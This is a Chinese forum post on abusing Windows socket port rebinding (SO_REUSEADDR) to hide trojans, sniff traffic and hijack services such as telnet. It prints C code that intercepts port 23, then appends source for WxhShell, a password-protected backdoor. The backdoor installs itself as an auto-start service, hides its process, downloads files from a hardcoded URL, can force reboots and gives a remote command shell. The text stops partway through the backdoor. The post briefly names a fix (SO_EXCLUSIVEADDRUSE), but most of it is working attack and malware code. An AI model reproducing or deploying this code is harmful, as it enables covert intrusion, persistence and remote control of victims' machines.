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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YI+o:fGC5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eOs4c`  
DcmRvi)&6  
  saddr.sin_family = AF_INET; @8U8>'zDE  
F 8 gw3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nD#uOep9  
_TjRvILC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G!g];7PG(  
`_ )5K u}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A9ZK :i7  
UiH5iZ<r;  
  这意味着什么?意味着可以进行如下的攻击: VVHL@  
s+6tdBvzs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4x?4[J~u[  
0 1:(QJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <& iLMb:%  
k5eTfaxl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3'6by!N,d  
~otV'=/my  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /9SNXjfbt  
0"DS>:Ntk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |!*abc\`(`  
mjJ/rx{kbw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a_k~z3wG  
?HP{>l0r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K8/I+#j  
QUz_2rN^  
  #include ?io ,8  
  #include ![/ QW  
  #include QA# 7T3|  
  #include    u^+ (5|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]RTK:%  
  int main() z_A34@a  
  { `{'h+v`  
  WORD wVersionRequested; *2r(!fJP=^  
  DWORD ret; tS6r4d%~=  
  WSADATA wsaData; aIklAj)=  
  BOOL val; Rj~y#m  
  SOCKADDR_IN saddr; jP"yG#  
  SOCKADDR_IN scaddr; Zl{ DqC^  
  int err; apv"s+  
  SOCKET s; E rnGX#@v  
  SOCKET sc; 4 |xQQv  
  int caddsize; f(.t0{Etq  
  HANDLE mt; ,Zb_Pu   
  DWORD tid;   .5+5ca  
  wVersionRequested = MAKEWORD( 2, 2 ); #E@X'jwu  
  err = WSAStartup( wVersionRequested, &wsaData ); 1-?TjR  
  if ( err != 0 ) { 0{sYD*gK]  
  printf("error!WSAStartup failed!\n"); >3)AO04=;  
  return -1; d2tJ=.DI  
  } q.v_?X<_  
  saddr.sin_family = AF_INET; >on' y+  
   q]OgT4ly  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8t1,_,2'  
iS}~e{TP/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f^ 6da6Z  
  saddr.sin_port = htons(23); 0m'tPFQ|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^LAdN8Cbb  
  { 4/E>k <MA  
  printf("error!socket failed!\n"); -k}&{v  
  return -1; -SKcS#IF  
  } -|`E'b81  
  val = TRUE; f4&k48Ds  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m,#Us  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P*9L3R*=N  
  { #4ii!ev  
  printf("error!setsockopt failed!\n"); 5c-'m? k  
  return -1; *" ,"u;&  
  } <77v8=as5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .:2=VLujU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8M7pc{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f<P>IE  
$iOkn|~<@W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0xpE+GY  
  { VMV~K7%0  
  ret=GetLastError(); lZ5TDS  
  printf("error!bind failed!\n"); ?Fj >7  
  return -1; yNN_}9  
  }  y jY}o  
  listen(s,2); 7"$9js2  
  while(1) za [;d4<}k  
  { cK6IyJx-  
  caddsize = sizeof(scaddr); I)}T4OOc/  
  //接受连接请求 Wup%.yT~Ds  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Nzel^~  
  if(sc!=INVALID_SOCKET) +@#k<.yqn  
  { Mgc|>#=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :y(HOUB  
  if(mt==NULL)  iT&Y9  
  { P>;uS  
  printf("Thread Creat Failed!\n"); 4dUr8]BkG  
  break; vm`\0VGSW  
  } E>w|i  
  } v#Y9O6g]T  
  CloseHandle(mt); r`!S*zK  
  } cS#m\O  
  closesocket(s); AX2On}&bf  
  WSACleanup(); `~{ 0  
  return 0; 6sl2vHzA  
  }   n%}Vd `c  
  DWORD WINAPI ClientThread(LPVOID lpParam) hYv;*]  
  { bB"q0{9G-  
  SOCKET ss = (SOCKET)lpParam; xgv&M:%D-  
  SOCKET sc; Gt5'-Hyo  
  unsigned char buf[4096]; }[8Nr+y  
  SOCKADDR_IN saddr; vV 7L :>  
  long num; IL N0/eH  
  DWORD val; 7P7d[KP<  
  DWORD ret; %eLf6|1x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ro*$OLc/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O7GJg;>?  
  saddr.sin_family = AF_INET; Hp?uYih0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8i'EO6  
  saddr.sin_port = htons(23); a0[Mx 4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PvB-Cqc  
  { 'Z ,T,zW  
  printf("error!socket failed!\n"); g;PZ$|%&s>  
  return -1; BSbi.@@tp  
  } sH{ 4.tw  
  val = 100; ik Pm,ZN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;c~%:|  
  { fN{JLp  
  ret = GetLastError(); l/o 4bkV  
  return -1;  R7-+@  
  } ejI nJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tA6x  
  { @$%[D`Wa<  
  ret = GetLastError(); Zi~-m]9U  
  return -1; o"./  
  } n8vteGQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p:q?8+W-r  
  { $Hbd:1%i {  
  printf("error!socket connect failed!\n"); VA0p1AD  
  closesocket(sc); [^GXHE=  
  closesocket(ss); :OvTZ ?\  
  return -1; o 9]2  
  } &[iunJv:eq  
  while(1) 8ECBi(  
  { 8WvQ[cd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v05B7^1@_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #Mmr{4m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v$i[dZSN[  
  num = recv(ss,buf,4096,0); "I`g(q#Uo  
  if(num>0) lH8e?zJ  
  send(sc,buf,num,0); p{k^)5CR/  
  else if(num==0) 3 h~U)mg  
  break; 4c/.#?  
  num = recv(sc,buf,4096,0); (S4[,Sx6E  
  if(num>0) CEr*VsvjsU  
  send(ss,buf,num,0); gm}[`GMU  
  else if(num==0) yQ M<(;\O  
  break; Da8{==  
  } ~*,e&I  
  closesocket(ss); bEc @"^)  
  closesocket(sc); G'qGsKf\  
  return 0 ; ;]+p>p-#  
  } V]I+>Zn| 7  
??tNMr5{[  
K$(LiP  
========================================================== E A8>{}Z*  
L-v-KO6  
下边附上一个代码,,WXhSHELL c (Gl3^  
Q!_@Am"h  
========================================================== mfpL?N  
_wMYA8n  
#include "stdafx.h" pJpTOq\h  
yC<[LH  
#include <stdio.h>  %SSBXWP  
#include <string.h> 8rwXbYx x  
#include <windows.h> C-6m[W8S  
#include <winsock2.h> 4RXF.kJ3=  
#include <winsvc.h> 5? rR'0  
#include <urlmon.h> 3"XS#~l%  
",&c"r4c  
#pragma comment (lib, "Ws2_32.lib") g =)djXW  
#pragma comment (lib, "urlmon.lib") ]fgYO+  
Hg}@2n)/  
#define MAX_USER   100 // 最大客户端连接数 AECaX4h+_  
#define BUF_SOCK   200 // sock buffer d/4kF  
#define KEY_BUFF   255 // 输入 buffer 5o dtYI%L  
!W ,pjW%Y  
#define REBOOT     0   // 重启 |zaYIVE[  
#define SHUTDOWN   1   // 关机 e//q`?ys  
E:C-k^/[Y  
#define DEF_PORT   5000 // 监听端口 lq%6~va  
gvx {;e  
#define REG_LEN     16   // 注册表键长度 GE0,d  
#define SVC_LEN     80   // NT服务名长度 etHkyF  
A_vf3 *q  
// 从dll定义API NtnKS@Ht  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IhYTK%^96  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oA1d8*i^E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6%&RDrn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U;Ne"Jh  
Q:4euhz*  
// wxhshell配置信息 qr~= S  
struct WSCFG { MJ+]\(  
  int ws_port;         // 监听端口 Q[M?LNE`  
  char ws_passstr[REG_LEN]; // 口令 ~ [4oA$[a|  
  int ws_autoins;       // 安装标记, 1=yes 0=no !U2Wiks  
  char ws_regname[REG_LEN]; // 注册表键名 "uthFE  
  char ws_svcname[REG_LEN]; // 服务名 z]J pvw`p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #*|0WaC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VP<_~OLc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }N6r/ VtOQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d^Jf(NE0Yo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xw2tCRzD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,n &e,I  
`?PpzDV7Y  
}; %bs~%6)  
gqi|k6V/  
// default Wxhshell configuration MSMgaw?  
struct WSCFG wscfg={DEF_PORT, [sT}hYh+  
    "xuhuanlingzhe", ETA 1\  
    1, ?H.7 WtTC  
    "Wxhshell", [$D4U@mRp  
    "Wxhshell", uWSfr(loX  
            "WxhShell Service", u0vq`5L  
    "Wrsky Windows CmdShell Service", MiX*PqNTM  
    "Please Input Your Password: ", ct3^V M&/  
  1, =h{j F7  
  "http://www.wrsky.com/wxhshell.exe", X!w&ib-  
  "Wxhshell.exe" wv eej@zs  
    }; 32N *E,  
J:q:g*Wi  
// 消息定义模块 mP?~#RZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o|v_+<zD!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G2{.Ew  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X~Yj#@  
char *msg_ws_ext="\n\rExit."; 'Wn2+pd  
char *msg_ws_end="\n\rQuit."; @]EJbiGv  
char *msg_ws_boot="\n\rReboot..."; 6,*o;<k[  
char *msg_ws_poff="\n\rShutdown..."; iB:](Md'r  
char *msg_ws_down="\n\rSave to "; F5#P{ zk|  
}8W5m(Zq9n  
char *msg_ws_err="\n\rErr!"; S1R:/9 z  
char *msg_ws_ok="\n\rOK!"; nDh D"rc  
]} + NT  
char ExeFile[MAX_PATH]; '{t&!M`  
int nUser = 0; }Z~& XL=  
HANDLE handles[MAX_USER]; N>'T"^S/  
int OsIsNt; d1`us G"  
cTR@ :sm  
SERVICE_STATUS       serviceStatus; T%\f$jh6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4l6+8/Y  
@AgV7#  
// 函数声明 7:h8b/9  
int Install(void); QF7iU@%-  
int Uninstall(void); F^v <z)x  
int DownloadFile(char *sURL, SOCKET wsh); Zu$30&U  
int Boot(int flag); j;|rI`67~  
void HideProc(void); f~LM-7!zf}  
int GetOsVer(void); XSu9C zx&I  
int Wxhshell(SOCKET wsl); #SzCd&hI  
void TalkWithClient(void *cs); <L72nwcK  
int CmdShell(SOCKET sock); "s6O|=^*  
int StartFromService(void); 16p$>a<6  
int StartWxhshell(LPSTR lpCmdLine); "t{|e6   
v/4Bt2J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /puM3ZN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); > 4zH\T!  
#_, l7q8U  
// 数据结构和表定义 *W#_W]Tu  
SERVICE_TABLE_ENTRY DispatchTable[] = nEZo F  
{ ^E5[~C*o3  
{wscfg.ws_svcname, NTServiceMain}, dh~+0FZ{A  
{NULL, NULL} <]u~;e57  
}; C>?`1d@  
<oE(I)r4,  
// 自我安装 UY_'F5X  
int Install(void) !1:364  
{ ~vVsxC$.  
  char svExeFile[MAX_PATH]; M=57 d7  
  HKEY key; 8?L7h\)-  
  strcpy(svExeFile,ExeFile); g]=w_  
GTw3rD^wg  
// 如果是win9x系统,修改注册表设为自启动 yH<^txNF  
if(!OsIsNt) { u_C/Y[ik  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /uc*V6Xd (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?E@ 9Nvr  
  RegCloseKey(key); ,~!rn}MI<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sc<%$ Gd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); llf|d'5Nl  
  RegCloseKey(key); w2!5Cb2  
  return 0; H!D?;X  
    } vsjl8L  
  } RaS7IL:e  
} | 'SqG}h  
else { -N')LY  
l>i<J1  
// 如果是NT以上系统,安装为系统服务 QsaaA MGY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *EZ'S+wR  
if (schSCManager!=0) PF,|Wzx  
{ ;+dB-g[  
  SC_HANDLE schService = CreateService u |h T1l  
  ( Ax=k0%M[&  
  schSCManager, `dH[&=S  
  wscfg.ws_svcname, ^cE|o&Rm;  
  wscfg.ws_svcdisp, y] Io`w(>  
  SERVICE_ALL_ACCESS, 24TQl<H{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  $)5F3 a|  
  SERVICE_AUTO_START, L{hP&8$k  
  SERVICE_ERROR_NORMAL, 7>g^OE f  
  svExeFile, PD$g W`V  
  NULL, PXZ ZPW/  
  NULL, d$uh .?F5  
  NULL, (f^K\7HM  
  NULL, n$*'J9W~  
  NULL VQr)VU=jb  
  ); M>CW(X  
  if (schService!=0) ddDl~&}o  
  { 7Ca+Pe}/n,  
  CloseServiceHandle(schService); *}Al0\q0M  
  CloseServiceHandle(schSCManager); g4BEo'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .[v4'ww^  
  strcat(svExeFile,wscfg.ws_svcname); .c[v /SB]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hhTM-D1Ehs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Mh04O@"  
  RegCloseKey(key); &></l| hY  
  return 0; !$&3h-l[  
    } Z7<N<  
  } ;:nO5VFOg  
  CloseServiceHandle(schSCManager); t7rz]EN  
} }c>[m,lz  
} D\~*| J  
RcUKe,  
return 1; E6iUa'  
} Rh7unJ  
o(,u"c/Or  
// 自我卸载 ncEOz1u  
int Uninstall(void) {L[n\h.4.  
{ J?\z{ ;qa  
  HKEY key; x[Xj[O  
b(lC7Xm  
if(!OsIsNt) { |OXufV?I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?fB}9(6  
  RegDeleteValue(key,wscfg.ws_regname); S7cxEOfAu  
  RegCloseKey(key); P +U=/$o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 26fbBt8nP  
  RegDeleteValue(key,wscfg.ws_regname); rBv  
  RegCloseKey(key); S!0ocS!t  
  return 0; {wWh;  
  } H7 acT  
} :I(-@2?{  
} $V$|"KRcs  
else { %KxL{ HY  
.".xNHR#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lW! U:  
if (schSCManager!=0) 3YyB0BMW  
{ "(uEcS2<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hjB G`S#  
  if (schService!=0) 4}:a"1P"  
  { t_@xzt10y  
  if(DeleteService(schService)!=0) { 'H0b1t1S%  
  CloseServiceHandle(schService); o(iN}.c  
  CloseServiceHandle(schSCManager); X G fLi  
  return 0; nwlo,[  
  } {'W\~GnZ  
  CloseServiceHandle(schService); *@J  
  } <(Ub(  
  CloseServiceHandle(schSCManager); >;S/$  
} zbt>5S_  
} n>F1G MX  
R v6 1*F4  
return 1; YYFJJ,7?  
} tcYbM+4e  
k^3|A3A  
// 从指定url下载文件 `3!ERQU  
int DownloadFile(char *sURL, SOCKET wsh) 9QaEUy*,  
{ ,Mf@I5?  
  HRESULT hr; [gZd$9a  
char seps[]= "/"; D*d@<&Bl4<  
char *token; }-H<wQ&x  
char *file; $QQv$  
char myURL[MAX_PATH]; bd[zdL#4K  
char myFILE[MAX_PATH]; k,>sBk 8  
A~ugx~S0  
strcpy(myURL,sURL); &:g5+([<  
  token=strtok(myURL,seps); OczVObbS  
  while(token!=NULL) "x&hBJ  
  { e-;$Iv  
    file=token; 7<V(lX.{  
  token=strtok(NULL,seps); q^],K'  
  } j[ !'l,I  
kN9pl^2  
GetCurrentDirectory(MAX_PATH,myFILE); K8y/U(@|D  
strcat(myFILE, "\\"); =T$-idx1l  
strcat(myFILE, file); CybHr#LBc  
  send(wsh,myFILE,strlen(myFILE),0); K9co_n_L  
send(wsh,"...",3,0); gTRm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5?),6o);  
  if(hr==S_OK) yW.s?3X  
return 0; T"Ph@I<  
else g_Wf3o857J  
return 1; 8M m,a  
* ";A~XNx  
} M$L1!o1Xf  
^g`1SU`  
// 系统电源模块 ;+XiDEX0}  
int Boot(int flag) "J(#|v0  
{ iivuH2/~?[  
  HANDLE hToken; pX ]K-  
  TOKEN_PRIVILEGES tkp; mc_`:I=  
wXf_2qB9  
  if(OsIsNt) { is`Eqcj`dr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p(UUH3%W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1P&XG@  
    tkp.PrivilegeCount = 1; 3IHya=qN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wd'wL"6De  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o >bf7+D  
if(flag==REBOOT) { Eh;SH^&6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }?xu/C  
  return 0; 1,fjdd8OM;  
} afRUBjs  
else { .3k"1I '\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _@0>y MZ^  
  return 0; e"^* ~'mJ  
} l+S08IZ  
  } ^+cf  
  else { )`]w\s #  
if(flag==REBOOT) { UPgjf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R iid,n  
  return 0; RrSo`q-h+  
} yjZxD[ Z  
else { \3w=')({  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n'ft@7>%h  
  return 0; {'8a' 9\  
} P X ?!R4S  
} :|xV}  
DWDL|4 og  
return 1; Q}ho Y  
} }~$zdgMT  
l=%v  
// win9x进程隐藏模块 Px:PoOw\  
void HideProc(void) (</cu$w>H)  
{ T%K"^4k  
`V[{(&?,n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +~RiCZt  
  if ( hKernel != NULL ) b 8v?@s~  
  { jI0gQ [  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B@dA?w.x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p;Kw$fQ?  
    FreeLibrary(hKernel); :~BY[")  
  } k0.|%0?K  
s)W^P4<  
return; 8E1swH5 z  
} U.UN=uv_  
y)?Sn  
// 获取操作系统版本 D]resk  
int GetOsVer(void) eZs34${fN  
{ xS]=WO*  
  OSVERSIONINFO winfo; aLTC#c%U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W>0 36  
  GetVersionEx(&winfo); c*ac9Y'o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mjG-A8y  
  return 1; * 3mF.^  
  else ) 2C`;\/:  
  return 0; /,A:HM>B  
} %gDMz7$~  
($&i\e31N  
// 客户端句柄模块 BKe~ y  
int Wxhshell(SOCKET wsl) &^^zm9{  
{ *?%DdVrO@  
  SOCKET wsh; GL'zs8AKf  
  struct sockaddr_in client; Qc-jOl  
  DWORD myID; !lp *0h(7  
Y ## ftQ  
  while(nUser<MAX_USER) Oe=7z'o  
{ rI)op1K  
  int nSize=sizeof(client);  Hrm^@3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z/(^E8F  
  if(wsh==INVALID_SOCKET) return 1; E9t[Mb %0  
fEF1&&8^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B uV@w-|  
if(handles[nUser]==0) @13vn x  
  closesocket(wsh); ;QQLYT  
else .~qu,q7k~  
  nUser++; Zoh[tO   
  } ]Sg4>tp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8C3oj  
+gh6eY8  
  return 0;  chW 1UE  
} y`!~JL*  
8V@ /h6-e,  
// 关闭 socket {H{u[XR[z  
void CloseIt(SOCKET wsh) nE#p Ry]  
{ gnF]m0LR  
closesocket(wsh); h-<2N)>!  
nUser--; :786Z,')  
ExitThread(0); -t2bHhG  
} ?]SSmZpk  
&u0JzK  
// 客户端请求句柄 HTuv_kE  
void TalkWithClient(void *cs) 4`Qu+&4J  
{ $Kn{x!,"(  
86$9)UI  
  SOCKET wsh=(SOCKET)cs; +c!v%uX  
  char pwd[SVC_LEN]; Ub!MyXd{q  
  char cmd[KEY_BUFF]; Bfwa1#%?  
char chr[1]; ," ~ew ,  
int i,j; c.y8x  
]wCg'EUB  
  while (nUser < MAX_USER) { f]N2(eM  
kKwb)i  
if(wscfg.ws_passstr) { o8c4h<,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cc7PhoPK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~YO99PP  
  //ZeroMemory(pwd,KEY_BUFF); uQgv ;jsPz  
      i=0; Y8YNRyc=  
  while(i<SVC_LEN) { 57*`y'C W  
O+hN?/>v  
  // 设置超时 ^Rriu $\  
  fd_set FdRead; H7!j5^  
  struct timeval TimeOut; A]^RV{P  
  FD_ZERO(&FdRead); M:i;;)cq  
  FD_SET(wsh,&FdRead); swEE >=  
  TimeOut.tv_sec=8; BMMWP   
  TimeOut.tv_usec=0; ?v?b%hK!;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~ _R 8; b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0w[#`  
G\4h4% a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $/sIdFZi  
  pwd=chr[0]; 6'+;5M!  
  if(chr[0]==0xd || chr[0]==0xa) { C,$$bmS =  
  pwd=0; V*HkF T  
  break; seO7/h_a  
  } KLi&T mIB  
  i++; YJi C}.4Q  
    } ]/>(C76  
*m$P17/C  
  // 如果是非法用户,关闭 socket * 0M[lR0t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dNd(57  
} ;s m )f  
J eCKnt=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .=rS,Tpo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U'8+YAgc  
4 0as7.q  
while(1) { {T EF#iF  
AP*Z0OFE  
  ZeroMemory(cmd,KEY_BUFF); %DH2]B? 0  
e%_2n=p~)%  
      // 自动支持客户端 telnet标准   v%8.o%G  
  j=0; Bg.~#H  
  while(j<KEY_BUFF) { &|cg`m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GcXh V  
  cmd[j]=chr[0]; F2jZ3[P  
  if(chr[0]==0xa || chr[0]==0xd) { Kxs_R#k  
  cmd[j]=0; >6xZF'4  
  break; >drG,v0qh  
  } }',/~T6  
  j++; "`;$wA  
    }  vV5dW  
$mf Z{  
  // 下载文件 `a *_b9  
  if(strstr(cmd,"http://")) { 7OSk0%Q,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -DWyKR= j"  
  if(DownloadFile(cmd,wsh)) oT9dMhx8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t2V|moG  
  else w Q!C9Gp3e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9p| ;Hh:  
  } Z{<&2*  
  else { IpX.ube  
y>4r<Y ZQ  
    switch(cmd[0]) { S3Q^K.e?  
  `1;m:,9  
  // 帮助 !kAjne8]d  
  case '?': { Ll 4/P[7:?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $H}G'LqiG  
    break; [1Cs  
  } ry^FJyjW  
  // 安装 `x b\)  
  case 'i': { r57CyO  
    if(Install()) IY$v%%2WZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C%#%_ "N  
    else zvJQ@i"Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yi?X|"\`  
    break; >J4Tk1//b  
    } ddR*&.Y!a  
  // 卸载 \q2:1X |  
  case 'r': { @D$^- S6  
    if(Uninstall()) Tvdg:[V<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s @AGU/v  
    else )w3?o#@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =8`!Ph@(  
    break; _[J @w.l(  
    } \OR=+\].9  
  // 显示 wxhshell 所在路径 .K I6<k/  
  case 'p': { "}"hQ.kAz  
    char svExeFile[MAX_PATH]; _c[Bjip  
    strcpy(svExeFile,"\n\r"); Wd9y8z;  
      strcat(svExeFile,ExeFile); OPi><8x  
        send(wsh,svExeFile,strlen(svExeFile),0); 2L\}  
    break; Nu}x`Qkmr  
    } G3[X.%g`  
  // 重启 DcjF $E  
  case 'b': { |AgdD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j%_{tB  
    if(Boot(REBOOT)) ?%)G%2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yH YqJ|t  
    else { `;X~$uS  
    closesocket(wsh); _SVIY@K|/  
    ExitThread(0); O $ p  
    } \W%Aeg*c  
    break; cOhx  
    } ,drbj.0-  
  // 关机 g4p-$WyT8>  
  case 'd': { }02#[vg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); abs\Ku9  
